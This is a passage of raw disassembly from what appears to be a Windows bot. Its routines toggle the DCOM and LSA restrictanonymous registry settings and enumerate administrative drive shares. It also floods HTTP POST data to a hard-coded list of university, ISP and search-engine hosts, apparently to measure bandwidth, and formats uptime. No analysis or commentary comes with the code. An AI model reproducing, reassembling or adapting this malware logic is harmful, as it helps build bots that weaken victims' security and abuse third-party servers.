nop sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43350C push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax call near ptr 2700000h nop test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2650BFCh nop test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399AC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2670659h cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 nop call near ptr 2680000h push eax lea eax, [ebp+var_378] push offset unk_439978 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_438724 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C48 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C28 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BA8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B74 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B38 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B08 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D0 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AE4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AB8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A94 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A68 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438768 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DA4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D64 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D2C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B08 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D0 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD0 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CA8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E0 jb short loc_41A321 call near ptr 2810000h nop test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD0 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CA8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C78 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 2680D12h push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43381C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E18 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 2680D12h xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop call near ptr 26C055Ah test eax, eax jz short loc_41A987 cmp [ebp+var_90], 4 jnz short loc_41A95D cmp [ebp+var_8C], esi jnz short loc_41A945 cmp [ebp+var_84], 1 jnz short loc_41A938 push 1 pop esi loc_41A938: ; CODE XREF: sub_41A8F4+3Fj cmp [ebp+var_84], 2 jnz short loc_41A987 push 1 jmp short loc_41A986 ; --------------------------------------------------------------------------- loc_41A945: ; CODE XREF: sub_41A8F4+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A952 loc_41A94E: ; CODE XREF: sub_41A8F4+78j push 2 jmp short loc_41A986 ; 